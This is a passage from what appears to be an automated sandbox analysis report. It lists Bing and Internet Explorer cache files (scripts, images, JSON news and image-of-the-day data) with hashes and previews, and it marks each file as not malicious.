Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),o!=NaN&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","Got null re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
IE Cache URL:	res://ieframe.dll/errorPageStrings.js
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\fdVZU4ttbw8NDRm6H3I5BW3_vCo[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/fdVZU4ttbw8NDRm6H3I5BW3_vCo.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\hceflue5sqxkKta9dP3R-IFtPuY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	426
Entropy (8bit):	4.904019517984965
Encrypted:	false
SSDEEP:	12:2gcmRRt9Y4LF1Zd4XV4LFUXCdg/qUWYzP++xAQI:2gcmRRFfgiUb6MAj
MD5:	857A0DE0BBF14F3427A1AFA5CD985BCE
SHA1:	0C1D2E767F07E5C0F14EA64980DB213D379CC6F7
SHA-256:	3ED65F33193430C0B9DB61FFE7F5FE27B29F86A28563992C3AFC47D4C22C23D7
SHA-512:	E7F2603855A16464417B772517676F080CCEFFB8069C687BAC798B7EB2875FCDC207E40E8C56E7CFFD4D56CED572270988599D1D2B73FB8AAA7FDD076FE3E7B7
Malicious:	false
Preview:	(function(n){function i(){var i=document.documentElement,r=document.body,u="innerWidth"in window?window.innerWidth:i.clientWidth,f="innerHeight"in window?window.innerHeight:i.clientHeight,e=window.pageXOffset\|\|i.scrollLeft,o=window.pageYOffset\|\|i.scrollTop,s=document.visibilityState\|\|"default";n.enqueue(t,{x:e,y:o,w:u,h:f,dw:r.clientWidth,dh:r.clientHeight,v:s})}var t="V";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\hceflue5sqxkKta9dP3R-IFtPuY.gz[2].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	426
Entropy (8bit):	4.904019517984965
Encrypted:	false
SSDEEP:	12:2gcmRRt9Y4LF1Zd4XV4LFUXCdg/qUWYzP++xAQI:2gcmRRFfgiUb6MAj
MD5:	857A0DE0BBF14F3427A1AFA5CD985BCE
SHA1:	0C1D2E767F07E5C0F14EA64980DB213D379CC6F7
SHA-256:	3ED65F33193430C0B9DB61FFE7F5FE27B29F86A28563992C3AFC47D4C22C23D7
SHA-512:	E7F2603855A16464417B772517676F080CCEFFB8069C687BAC798B7EB2875FCDC207E40E8C56E7CFFD4D56CED572270988599D1D2B73FB8AAA7FDD076FE3E7B7
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/hceflue5sqxkKta9dP3R-IFtPuY.gz.js
Preview:	(function(n){function i(){var i=document.documentElement,r=document.body,u="innerWidth"in window?window.innerWidth:i.clientWidth,f="innerHeight"in window?window.innerHeight:i.clientHeight,e=window.pageXOffset\|\|i.scrollLeft,o=window.pageYOffset\|\|i.scrollTop,s=document.visibilityState\|\|"default";n.enqueue(t,{x:e,y:o,w:u,h:f,dw:r.clientWidth,dh:r.clientHeight,v:s})}var t="V";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\hqx6FcD0hjfzrON5oLgx2RMMD1s.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	443
Entropy (8bit):	4.86644754379557
Encrypted:	false
SSDEEP:	12:kdXCJAUQECJA5MeMJA561cnGfbs4Hbrk86fYXChdJAjU:8CJWECJKMeMJK61cuo47rk8WYMdJyU
MD5:	56583BD882D9571EC02FBDF69D854205
SHA1:	8DFF13B78F4CBCC482DC5C7FC1495390200C0B94
SHA-256:	DF0089A92B304A88F35AA0117CF8647695659AAF68B38B1B7A72A7C53465E9C7
SHA-512:	418B3003B568F2FDB862035EE624CE93087861AEBB6680CDC0E0F1212297B64D30596EEF931B8C6E818292C4AB14C8C17FF0BAF9E58ED93392AD7A80621EBBE4
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/hqx6FcD0hjfzrON5oLgx2RMMD1s.gz.js
Preview:	var OutlinePolyfil=function(){function n(){var n=this;this.attachHandlers=function(){n.attachHandlersForOutline()};this.attachHandlersForOutline=function(){addEventListener("keydown",n.onTabKey);addEventListener("mousedown",n.onMouseDown)};this.onTabKey=function(n){n.keyCode==9&&document.body.classList.add("tabbing")};this.onMouseDown=function(){document.body.classList.remove("tabbing")};this.attachHandlers()}return n}();new OutlinePolyfil

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\kBH4DSEA84cgV7IKw7_Bwvm2NpI[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	11847
Entropy (8bit):	7.82741108986083
Encrypted:	false
SSDEEP:	192:dhK4s5Is9xn1pwLz+SHW36K+Oas6GKNQsjM+N7WzAVrzj+cq615Te+Se:d4ZOOloH/HW3Rp5Ka2tWzAVrzjv55ia
MD5:	5CCC9B225B51915169D6F4C27FA26C9A
SHA1:	9011F80D2100F3872057B20AC3BFC1C2F9B63692
SHA-256:	10D8D2141A01589A82B139B01A75B74D9DFAB16D273C9B2EC7F5087D3EF16B3B
SHA-512:	E2AEB96F6FEC6710AAFF6E52CC24E773CD194F9DEE1BC01FEED88A8EC48033DD9BD8AD0A18C14502DCB6A6ECF05418F18D125E00C4E0E06533495A00F3AF411F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/kBH4DSEA84cgV7IKw7_Bwvm2NpI.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:58:04...................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...LT...{..3....P.1F)....1N....b.S.F(....;.b...\S.F(.....Q..n(.?.b...1O...cqF)....R.1@....b....R.\P.1K.v(. ..\S

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\lK_FmcR4naKX9hpIwfe9ify1hf4.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	50517
Entropy (8bit):	5.612945040100459
Encrypted:	false
SSDEEP:	768:kP5wtNTkCMrK9rQSR4lQlzN6SuDHTzXd2kfrGwIeeK:ppkCMu1Rv0SuDHT4kfr5IRK
MD5:	E3936ED580CC63073DAE11B90D8877A6
SHA1:	4ADD8C29A5A4CC7876DEF37560123A8553CD2508
SHA-256:	8548C80F6F85CA29FAA98B1962AE8CC39CF1436380DC625D6AD25EDF4B3BFA68
SHA-512:	09FC1629EC7BAB8E92A8C7077ED5E171280AD1D448742422547BA1350EF70EA9676F3BF0859AC267F890CF20BB32BABFA335880DAD5109B3BAA06215CB647A06
Malicious:	false
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){function o(n){

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\model[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	16168
Entropy (8bit):	5.527579595880806
Encrypted:	false
SSDEEP:	384:HUQyIePm3yt9YYQ5bV5u5hOuKsVMhu3kx0m4iDewY/rfrEraIO1uYPW:0yZ3yjYY85uTOuKsV2u3kx0m4iDewY/i
MD5:	B12C190DFA30C8EF3CACFB2304F8A6BB
SHA1:	4485BA9BCEC741F844120DA43AD4C67EED5EFF0F
SHA-256:	E18575EBB4698CD7418A52E923B8815AA1B288FB160F12A9B8DFE69C816FCA67
SHA-512:	0BE8328FD43826911A8BDD74E85C052F47EA08AF97F36C5C8296648B037C60CFEDA186F81A08C1620728FD50F5D3F36C634CCD2D943C41BEE3DDF3F69515B738
Malicious:	false
Preview:	{"ClientSettings":{"Pn":{"Cn":1,"St":0,"Qs":0,"Prod":"P"},"Sc":{"Cn":1,"St":0,"Qs":0,"Prod":"H"},"Qz":{"Cn":1,"St":0,"Qs":0,"Prod":"T"},"Ap":true,"Mute":true,"Lad":"2021-04-06T00:00:00Z","Iotd":0,"Dft":null,"Mvs":0,"Flt":0,"Imp":2},"MediaContents":[{"ImageContent":{"Description":"The first modern Olympic Games were held 125 years ago in Athens in 1896 . 1,500 years after they were banned by the Roman Emperor. The 1896 Games were held in the Panathenaic Stadium, in the shadow of the Acropolis of Athens, shown here. They included athletes from 14 countries, with the largest delegations from Greece, Germany, France and Great Britain. The 43 events included a marathon, tennis, cycling, fencing, shooting, Greco-Roman wrestling and swimming. And while some things haven't changed over the years, some were different back then. Swimmers were taken out to sea by boat for the longer races and had to swim back to shore. Winners were given a silver medal (copper for second place), as well as an o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\msnpopularnow[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	10501
Entropy (8bit):	5.51784121777492
Encrypted:	false
SSDEEP:	192:LUuCIrvL8IgVoZvJZvtctCQwyltHEZdrXgsqBv6SHGjHHAHaBaZvkr1qPUaDQAby:LBCOVmUzaBDePrwsUS/k6Ba52qPJQZEW
MD5:	FC690FA0CC46C5CF583DFBBE141E5A58
SHA1:	E7CCC631BEAE8AC7DC42B1A8259BC752E4938D6F
SHA-256:	8498F9C879FE298FB470D1DB0811F56401425DFBE2388B282C7935FA1E4AC854
SHA-512:	FB1FA394B996687B25D6B05DDC9C77D78538CF281B18E4FD4E797229D68B3C2C692F561AD07B60345078366B2BA27CBFA08B2D2717095D1FBBD0D7159B559597
Malicious:	false
Preview:	{"title":"","data":[{"typeName":"Msn","items":[{"url":"https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flnql.img&ehk=e56b2FA%2fdQ8S1%2bJCLPLA5GewBcI71RQ%2fTmEAxvevKks%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"BZ BERNER ZEITUNG","longTitle":"Der Westen muss mit Sanktionen drohen, die wehtun","accessibilityTitle":"","subtext":"","isRecommendedNews":false},{"url":"https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-auf-facebook-und-google-w.chst/ar-BB1fkLCT?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGpp.img&ehk=EoXsvHvTz25OeDlk8%2f1AsQ0JRbPiNyy0iD13c2N9OGI%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"Handelsblatt","longTitle":"Staatliche Regulierung: Allianz gegen Big Tech: Druck auf Facebo.","accessibilityTitle":"","

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\mw5FvbmnxUiS8Gbwzw9L14Ee8F8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	67037
Entropy (8bit):	5.235042447881506
Encrypted:	false
SSDEEP:	768:PfY2/W3m6CHbtHWtBkrel21k4Q8BLBSaJBe7BHyJxBCGnVW4nMO51sEBvkH7BSVq:Y2r23cnq5QPW4nMETv8jYXmNw6V+oF
MD5:	32C8A14D92DE1A36A11B131D48E4C307
SHA1:	5498735530EE16C300CB9E1691BA7356D3163BAC
SHA-256:	CCB7262C883581BB88476377D29E45FE415A403B5DB1143EE493166EF3E2D047
SHA-512:	775BCF9C00D56A28840D30172CC2D598412475FFC5D169F83041AF25C17C5EE252F7B7E272362876ABA83CEC34C9752634663D90502B3F75CF31113283E53A3E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/mw5FvbmnxUiS8Gbwzw9L14Ee8F8.gz.js
Preview:	var AutoSuggest,__extends,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis"}(r=n.QueryParams\|\|(n.QueryParams={})),function(n){n.ImpressionG

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\n1U5gwBiwMo7s-fWOh2kSe3Kils[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	12094
Entropy (8bit):	7.886865463015066
Encrypted:	false
SSDEEP:	192:SiKi8QXz83TatNZ7rBakT+m47amRNj5y4zYOyuRHExmmjGjWddkuz4nicyktAtmR:SRi8083g7rBamzWNjPzguCxmmjGid60g
MD5:	05034EB84E5E7915CA36EB6FE59DFBA7
SHA1:	9F5539830062C0CA3BB3E7D63A1DA449EDCA8A5B
SHA-256:	9BEC2E05752C0699DB84352BB6E3DD4E5DAA927D32EC8123966F4A8FDF8B181A
SHA-512:	EB645D1FBB404B00D19C743C3F6F00597D91DE73EA2F02AE61AB76AFB13A913F68CB2419C205684CAD827D1369D8F76D9B7E709B8EF0AB05A86B305A7A5B7089
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n1U5gwBiwMo7s-fWOh2kSe3Kils.jpg
Preview:	......JFIF.....H.H.....zExif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:53:43...................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..8...R.Vf.\|lcR..........sJ.#...1+..VR:b.b....8&B.Qq.fj.6W50....`L.z..OrK_.+v..+..2....1.Q...K!.b..n.).A.j.s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\n_C4vBfAV3O9RfkGjfduaZoxjAs[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	17171
Entropy (8bit):	7.923606790170532
Encrypted:	false
SSDEEP:	384:oYOT4bsa8uRaCLYIrdjf7xR346jojxR0WKHfoe:oYOT4Ya8uRnxT/346AhKHfoe
MD5:	D7AE018EA70FA15F5E5389E4F96AD768
SHA1:	9FF0B8BC17C05773BD45F9068DF76E699A318C0B
SHA-256:	A4F4A44961E03A073E3F351F296EC19C50005AA96360A9E5CEE50E0587738FBB
SHA-512:	FD5B341BECCBBE7C16065217BBCAF6DF2C44629DE778E1263FE6A071565718C920335DBA220FDDF8EB18ECBBF2BEBC698B03BCF555949CB3DD66575249471406
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n_C4vBfAV3O9RfkGjfduaZoxjAs.jpg
Preview:	......JFIF.....H.H....(.Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:40:12................................................................................................(..................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...3J8...D....m8P...\.L..c..%.4.R...@.iqJ.4.CCJ.o.....-.!...1.Q.LB...S.U~...iXw.1J(..b.o.b.zSsHb.@..(... .H:...M.O4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\pXscrbCrewUD-UetJTvW5F7YMxo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/pXscrbCrewUD-UetJTvW5F7YMxo.gz.js
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\sbi[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	46137
Entropy (8bit):	5.492718429280291
Encrypted:	false
SSDEEP:	768:WkuL2ym/YIZE2u1U5l7Ez+YIdQFSO4FWCPPZPzATfZjFwummSczZxG3IuO7JUDWB:plB1FWCpPwkNijuSjyir
MD5:	8147A3C6CCDAD2147CA32BA6DB54E40A
SHA1:	3257CCC8CED1107ACBE3697B61F1C5ED3A86A4E6
SHA-256:	E783F26B771F68588FF468DE04C50E6A3E7BC4A11FEBDB52A17511E9DFE91297
SHA-512:	005695CB7F9FBB397109F11FDD375F23D5C678C7F26036E3937C916F75C96857F6A7C1B10D5820588461479A14B69026A3277389E5C02D09359D5A2BD9CF3C67
Malicious:	false
IE Cache URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=B828A7B7ED484BA496041EEF93D34E3C&form=REDIRERR
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\svI82uPNFRD54V4bMLaeahXQXBI.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\test[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.373593025747649
Encrypted:	false
SSDEEP:	3:UMs1TE5LH0cHrJU4YCf:U37cVUof
MD5:	E82D9BD501B46DF5CB2B650AF9E1B126
SHA1:	0FE6876226E88D8104ED51CB6329EB172BBA8D68
SHA-256:	C2BA8FCCFC980BCC8FC24E7A41BFCFEE88CCA9331C8D4D62890D7DFAB4A12226
SHA-512:	D3715E6A3C9012F2D8E1269E5C4B3E2F77FD2CD8E793AD39E51F1E1BE30F0818DDD01FAF3708EF789FDF347B92C6477C10A1155DEC582FF68185CBFD41C662E4
Malicious:	false
Preview:	IPv6Tests.TestIPv6Response('{"type": "4"}');

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\th[1].jpg Download File
